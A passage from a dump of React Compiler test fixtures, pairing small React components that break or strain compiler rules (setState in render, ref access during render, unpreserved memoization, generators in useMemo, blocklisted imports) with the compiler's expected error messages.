    "content": "\n## Input\n\n```javascript\n// @flow @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useFragment} from 'react-relay';\nimport LogEvent from 'LogEvent';\nimport {useCallback, useMemo} from 'react';\n\ncomponent Component(id) {\n  const items = useFragment();\n\n  const [index, setIndex] = useState(0);\n\n  const logData = useMemo(() => {\n    const item = items[index];\n    return {\n      key: item.key,\n    };\n  }, [index, items]);\n\n  const setCurrentIndex = useCallback(\n    (index: number) => {\n      const object = {\n        tracking: logData.key,\n      };\n      // We infer that this may mutate `object`, which in turn aliases\n      // data from `logData`, such that `logData` may be mutated.\n      LogEvent.log(() => object);\n      setIndex(index);\n    },\n    [index, logData, items]\n  );\n\n  if (prevId !== id) {\n    setCurrentIndex(0);\n  }\n\n  return (\n    <Foo\n      index={index}\n      items={items}\n      current={mediaList[index]}\n      setCurrentIndex={setCurrentIndex}\n    />\n  );\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n\n   9 |   const [index, setIndex] = useState(0);\n  10 |\n> 11 |   const logData = useMemo(() => {\n     |                   ^^^^^^^^^^^^^^^\n> 12 |     const item = items[index];\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 13 |     return {\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 14 |       key: item.key,\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 15 |     };\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 16 |   }, [index, items]);\n     | ^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization\n  17 |\n  18 |   const setCurrentIndex = useCallback(\n  19 |     (index: number) => {\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.\n\n  26 |       setIndex(index);\n  27 |     },\n> 28 |     [index, logData, items]\n     |             ^^^^^^^ This dependency may be modified later\n  29 |   );\n  30 |\n  31 |   if (prevId !== id) {\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n\n  17 |\n  18 |   const setCurrentIndex = useCallback(\n> 19 |     (index: number) => {\n     |     ^^^^^^^^^^^^^^^^^^^^\n> 20 |       const object = {\n     | ^^^^^^^^^^^^^^^^^^^^^^\n> 21 |         tracking: logData.key,\n     | ^^^^^^^^^^^^^^^^^^^^^^\n> 22 |       };\n     | ^^^^^^^^^^^^^^^^^^^^^^\n> 23 |       // We infer that this may mutate `object`, which in turn aliases\n     | ^^^^^^^^^^^^^^^^^^^^^^\n> 24 |       // data from `logData`, such that `logData` may be mutated.\n     | ^^^^^^^^^^^^^^^^^^^^^^\n> 25 |       LogEvent.log(() => object);\n     | ^^^^^^^^^^^^^^^^^^^^^^\n> 26 |       setIndex(index);\n     | ^^^^^^^^^^^^^^^^^^^^^^\n> 27 |     },\n     | ^^^^^^ Could not preserve existing memoization\n  28 |     [index, logData, items]\n  29 |   );\n  30 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-inferred-mutation-in-logger.js",
    "content": "// @flow @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useFragment} from 'react-relay';\nimport LogEvent from 'LogEvent';\nimport {useCallback, useMemo} from 'react';\n\ncomponent Component(id) {\n  const items = useFragment();\n\n  const [index, setIndex] = useState(0);\n\n  const logData = useMemo(() => {\n    const item = items[index];\n    return {\n      key: item.key,\n    };\n  }, [index, items]);\n\n  const setCurrentIndex = useCallback(\n    (index: number) => {\n      const object = {\n        tracking: logData.key,\n      };\n      // We infer that this may mutate `object`, which in turn aliases\n      // data from `logData`, such that `logData` may be mutated.\n      LogEvent.log(() => object);\n      setIndex(index);\n    },\n    [index, logData, items]\n  );\n\n  if (prevId !== id) {\n    setCurrentIndex(0);\n  }\n\n  return (\n    <Foo\n      index={index}\n      items={items}\n      current={mediaList[index]}\n      setCurrentIndex={setCurrentIndex}\n    />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-named-function-with-shadowed-local-same-name.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  function hasErrors() {\n    let hasErrors = false;\n    if (props.items == null) {\n      hasErrors = true;\n    }\n    return hasErrors;\n  }\n  return hasErrors();\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: [InferMutationAliasingEffects] Expected value kind to be initialized\n\n<unknown> hasErrors_0$15:TFunction.\n\nerror.todo-repro-named-function-with-shadowed-local-same-name.ts:9:9\n   7 |     return hasErrors;\n   8 |   }\n>  9 |   return hasErrors();\n     |          ^^^^^^^^^ this is uninitialized\n  10 | }\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-named-function-with-shadowed-local-same-name.js",
    "content": "function Component(props) {\n  function hasErrors() {\n    let hasErrors = false;\n    if (props.items == null) {\n      hasErrors = true;\n    }\n    return hasErrors;\n  }\n  return hasErrors();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-unmemoized-callback-captured-in-context-variable.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {ValidateMemoization, useHook} from 'shared-runtime';\n\nfunction UnmemoizedCallbackCapturedInContextVariable({cond1, cond2}) {\n  // The return value is captured by `x` which is a context variable, which\n  // extends a's range to include the call instruction. This prevents the entire\n  // range from being memoized\n  const a = useHook();\n  // Because b is also part of that same mutable range, it can't be memoized either\n  const b = useMemo(() => ({}), []);\n\n  // Conditional assignment without a subsequent mutation normally doesn't create a mutable\n  // range, but in this case we're reassigning a context variable\n  let x;\n  if (cond1) {\n    x = a;\n  } else if (cond2) {\n    x = b;\n  } else {\n    return null;\n  }\n\n  const f = () => {\n    return x;\n  };\n  const result = f();\n\n  return <ValidateMemoization inputs={[cond1, cond2]} output={result} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: UnmemoizedCallbackCapturedInContextVariable,\n  params: [{cond1: true, cond2: false}],\n  sequentialRenders: [\n    {cond1: true, cond2: true},\n    {cond1: false, cond2: true},\n    {cond1: false, cond2: true}, // fails sprout bc memoization is not preserved\n    {cond1: false, cond2: false},\n  ],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n\nerror.todo-repro-unmemoized-callback-captured-in-context-variable.ts:11:12\n   9 |   const a = useHook();\n  10 |   // Because b is also part of that same mutable range, it can't be memoized either\n> 11 |   const b = useMemo(() => ({}), []);\n     |             ^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization\n  12 |\n  13 |   // Conditional assignment without a subsequent mutation normally doesn't create a mutable\n  14 |   // range, but in this case we're reassigning a context variable\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-unmemoized-callback-captured-in-context-variable.tsx",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {ValidateMemoization, useHook} from 'shared-runtime';\n\nfunction UnmemoizedCallbackCapturedInContextVariable({cond1, cond2}) {\n  // The return value is captured by `x` which is a context variable, which\n  // extends a's range to include the call instruction. This prevents the entire\n  // range from being memoized\n  const a = useHook();\n  // Because b is also part of that same mutable range, it can't be memoized either\n  const b = useMemo(() => ({}), []);\n\n  // Conditional assignment without a subsequent mutation normally doesn't create a mutable\n  // range, but in this case we're reassigning a context variable\n  let x;\n  if (cond1) {\n    x = a;\n  } else if (cond2) {\n    x = b;\n  } else {\n    return null;\n  }\n\n  const f = () => {\n    return x;\n  };\n  const result = f();\n\n  return <ValidateMemoization inputs={[cond1, cond2]} output={result} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: UnmemoizedCallbackCapturedInContextVariable,\n  params: [{cond1: true, cond2: false}],\n  sequentialRenders: [\n    {cond1: true, cond2: true},\n    {cond1: false, cond2: true},\n    {cond1: false, cond2: true}, // fails sprout bc memoization is not preserved\n    {cond1: false, cond2: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees @validateRefAccessDuringRender\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  // The ref is modified later, extending its range and preventing memoization of onChange\n  ref.current.inner = null;\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.ts:14:2\n  12 |\n  13 |   // The ref is modified later, extending its range and preventing memoization of onChange\n> 14 |   ref.current.inner = null;\n     |   ^^^^^^^^^^^ Cannot update ref during render\n  15 |\n  16 |   return <input onChange={onChange} />;\n  17 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees @validateRefAccessDuringRender\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  // The ref is modified later, extending its range and preventing memoization of onChange\n  ref.current.inner = null;\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-valid-functiondecl-hoisting.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n/**\n * Also see error.todo-functiondecl-hoisting.tsx which shows *invalid*\n * compilation cases.\n *\n * This bailout specifically is a false positive for since this function's only\n * reference-before-definition are within other functions which are not invoked.\n */\nfunction Foo() {\n  'use memo';\n\n  function foo() {\n    return bar();\n  }\n  function bar() {\n    return 42;\n  }\n\n  return <Stringify fn1={foo} fn2={bar} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: [PruneHoistedContexts] Rewrite hoisted function references\n\nerror.todo-valid-functiondecl-hoisting.ts:13:11\n  11 |\n  12 |   function foo() {\n> 13 |     return bar();\n     |            ^^^ [PruneHoistedContexts] Rewrite hoisted function references\n  14 |   }\n  15 |   function bar() {\n  16 |     return 42;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-valid-functiondecl-hoisting.tsx",
    "content": "import {Stringify} from 'shared-runtime';\n/**\n * Also see error.todo-functiondecl-hoisting.tsx which shows *invalid*\n * compilation cases.\n *\n * This bailout specifically is a false positive for since this function's only\n * reference-before-definition are within other functions which are not invoked.\n */\nfunction Foo() {\n  'use memo';\n\n  function foo() {\n    return bar();\n  }\n  function bar() {\n    return 42;\n  }\n\n  return <Stringify fn1={foo} fn2={bar} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo.try-catch-with-throw.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  try {\n    throw [];\n  } catch (e) {\n    x.push(e);\n  }\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: (BuildHIR::lowerStatement) Support ThrowStatement inside of try/catch\n\nerror.todo.try-catch-with-throw.ts:4:4\n  2 |   let x;\n  3 |   try {\n> 4 |     throw [];\n    |     ^^^^^^^^^ (BuildHIR::lowerStatement) Support ThrowStatement inside of try/catch\n  5 |   } catch (e) {\n  6 |     x.push(e);\n  7 |   }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo.try-catch-with-throw.js",
    "content": "function Component(props) {\n  let x;\n  try {\n    throw [];\n  } catch (e) {\n    x.push(e);\n  }\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop-break.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender\nfunction Component(props) {\n  const [state, setState] = useState(false);\n  for (const _ of props) {\n    if (props.cond) {\n      break;\n    } else {\n      continue;\n    }\n  }\n  setState(true);\n  return state;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.unconditional-set-state-in-render-after-loop-break.ts:11:2\n   9 |     }\n  10 |   }\n> 11 |   setState(true);\n     |   ^^^^^^^^ Found setState() in render\n  12 |   return state;\n  13 | }\n  14 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop-break.js",
    "content": "// @validateNoSetStateInRender\nfunction Component(props) {\n  const [state, setState] = useState(false);\n  for (const _ of props) {\n    if (props.cond) {\n      break;\n    } else {\n      continue;\n    }\n  }\n  setState(true);\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender\nfunction Component(props) {\n  const [state, setState] = useState(false);\n  for (const _ of props) {\n  }\n  setState(true);\n  return state;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.unconditional-set-state-in-render-after-loop.ts:6:2\n  4 |   for (const _ of props) {\n  5 |   }\n> 6 |   setState(true);\n    |   ^^^^^^^^ Found setState() in render\n  7 |   return state;\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-after-loop.js",
    "content": "// @validateNoSetStateInRender\nfunction Component(props) {\n  const [state, setState] = useState(false);\n  for (const _ of props) {\n  }\n  setState(true);\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-with-loop-throw.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender\nfunction Component(props) {\n  const [state, setState] = useState(false);\n  for (const _ of props) {\n    if (props.cond) {\n      break;\n    } else {\n      throw new Error('bye!');\n    }\n  }\n  setState(true);\n  return state;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.unconditional-set-state-in-render-with-loop-throw.ts:11:2\n   9 |     }\n  10 |   }\n> 11 |   setState(true);\n     |   ^^^^^^^^ Found setState() in render\n  12 |   return state;\n  13 | }\n  14 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-in-render-with-loop-throw.js",
    "content": "// @validateNoSetStateInRender\nfunction Component(props) {\n  const [state, setState] = useState(false);\n  for (const _ of props) {\n    if (props.cond) {\n      break;\n    } else {\n      throw new Error('bye!');\n    }\n  }\n  setState(true);\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender\nfunction Component(props) {\n  const [x, setX] = useState(0);\n\n  const foo = () => {\n    setX(1);\n  };\n  foo();\n\n  return [x];\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.unconditional-set-state-lambda.ts:8:2\n   6 |     setX(1);\n   7 |   };\n>  8 |   foo();\n     |   ^^^ Found setState() in render\n   9 |\n  10 |   return [x];\n  11 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-lambda.js",
    "content": "// @validateNoSetStateInRender\nfunction Component(props) {\n  const [x, setX] = useState(0);\n\n  const foo = () => {\n    setX(1);\n  };\n  foo();\n\n  return [x];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-nested-function-expressions.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender\nfunction Component(props) {\n  const [x, setX] = useState(0);\n\n  const foo = () => {\n    setX(1);\n  };\n\n  const bar = () => {\n    foo();\n  };\n\n  const baz = () => {\n    bar();\n  };\n  baz();\n\n  return [x];\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.unconditional-set-state-nested-function-expressions.ts:16:2\n  14 |     bar();\n  15 |   };\n> 16 |   baz();\n     |   ^^^ Found setState() in render\n  17 |\n  18 |   return [x];\n  19 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.unconditional-set-state-nested-function-expressions.js",
    "content": "// @validateNoSetStateInRender\nfunction Component(props) {\n  const [x, setX] = useState(0);\n\n  const foo = () => {\n    setX(1);\n  };\n\n  const bar = () => {\n    foo();\n  };\n\n  const baz = () => {\n    bar();\n  };\n  baz();\n\n  return [x];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.update-global-should-bailout.expect.md",
    "content": "\n## Input\n\n```javascript\nlet renderCount = 0;\nfunction useFoo() {\n  renderCount += 1;\n  return renderCount;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `renderCount` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.update-global-should-bailout.ts:3:2\n  1 | let renderCount = 0;\n  2 | function useFoo() {\n> 3 |   renderCount += 1;\n    |   ^^^^^^^^^^^^^^^^ `renderCount` cannot be reassigned\n  4 |   return renderCount;\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.update-global-should-bailout.tsx",
    "content": "let renderCount = 0;\nfunction useFoo() {\n  renderCount += 1;\n  return renderCount;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees @validateRefAccessDuringRender\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  // The ref is modified later, extending its range and preventing memoization of onChange\n  const reset = () => {\n    ref.current.inner = null;\n  };\n  reset();\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.ts:17:2\n  15 |     ref.current.inner = null;\n  16 |   };\n> 17 |   reset();\n     |   ^^^^^ This function accesses a ref value\n  18 |\n  19 |   return <input onChange={onChange} />;\n  20 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees @validateRefAccessDuringRender\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  // The ref is modified later, extending its range and preventing memoization of onChange\n  const reset = () => {\n    ref.current.inner = null;\n  };\n  reset();\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-set-ref-nested-property-dont-preserve-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  ref.current.inner = null;\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.useCallback-set-ref-nested-property-dont-preserve-memoization.ts:13:2\n  11 |   });\n  12 |\n> 13 |   ref.current.inner = null;\n     |   ^^^^^^^^^^^ Cannot update ref during render\n  14 |\n  15 |   return <input onChange={onChange} />;\n  16 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useCallback-set-ref-nested-property-dont-preserve-memoization.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  ref.current.inner = null;\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-callback-generator.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a, b) {\n  // we don't handle generators at all so this test isn't\n  // useful for now, but adding this test in case we do\n  // add support for generators in the future.\n  let x = useMemo(function* () {\n    yield a;\n  }, []);\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nTodo: (BuildHIR::lowerExpression) Handle YieldExpression expressions\n\nerror.useMemo-callback-generator.ts:6:4\n  4 |   // add support for generators in the future.\n  5 |   let x = useMemo(function* () {\n> 6 |     yield a;\n    |     ^^^^^^^ (BuildHIR::lowerExpression) Handle YieldExpression expressions\n  7 |   }, []);\n  8 |   return x;\n  9 | }\n\nError: useMemo() callbacks may not be async or generator functions\n\nuseMemo() callbacks are called once and must synchronously return a value.\n\nerror.useMemo-callback-generator.ts:5:18\n   3 |   // useful for now, but adding this test in case we do\n   4 |   // add support for generators in the future.\n>  5 |   let x = useMemo(function* () {\n     |                   ^^^^^^^^^^^^^^\n>  6 |     yield a;\n     | ^^^^^^^^^^^^\n>  7 |   }, []);\n     | ^^^^ Async and generator functions are not supported\n   8 |   return x;\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-callback-generator.js",
    "content": "function component(a, b) {\n  // we don't handle generators at all so this test isn't\n  // useful for now, but adding this test in case we do\n  // add support for generators in the future.\n  let x = useMemo(function* () {\n    yield a;\n  }, []);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-non-literal-depslist.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\n\n// react-hooks-deps would error on this code (complex expression in depslist),\n// so Forget could bailout here\nfunction App({text, hasDeps}) {\n  const resolvedText = useMemo(\n    () => {\n      return text.toUpperCase();\n    },\n    hasDeps ? null : [text], // should be DCE'd\n  );\n  return resolvedText;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: App,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Expected the dependency list for useMemo to be an array literal\n\nExpected the dependency list for useMemo to be an array literal.\n\nerror.useMemo-non-literal-depslist.ts:10:4\n   8 |       return text.toUpperCase();\n   9 |     },\n> 10 |     hasDeps ? null : [text], // should be DCE'd\n     |     ^^^^^^^^^^^^^^^^^^^^^^^ Expected the dependency list for useMemo to be an array literal\n  11 |   );\n  12 |   return resolvedText;\n  13 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-non-literal-depslist.ts",
    "content": "import {useMemo} from 'react';\n\n// react-hooks-deps would error on this code (complex expression in depslist),\n// so Forget could bailout here\nfunction App({text, hasDeps}) {\n  const resolvedText = useMemo(\n    () => {\n      return text.toUpperCase();\n    },\n    hasDeps ? null : [text], // should be DCE'd\n  );\n  return resolvedText;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: App,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-blocklisted-imports.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateBlocklistedImports:[\"DangerousImport\"]\nimport {foo} from 'DangerousImport';\nimport {useIdentity} from 'shared-runtime';\n\nfunction useHook() {\n  useIdentity(foo);\n  return;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: Bailing out due to blocklisted import\n\nImport from module DangerousImport.\n\nerror.validate-blocklisted-imports.ts:2:0\n  1 | // @validateBlocklistedImports:[\"DangerousImport\"]\n> 2 | import {foo} from 'DangerousImport';\n    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Bailing out due to blocklisted import\n  3 | import {useIdentity} from 'shared-runtime';\n  4 |\n  5 | function useHook() {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-blocklisted-imports.ts",
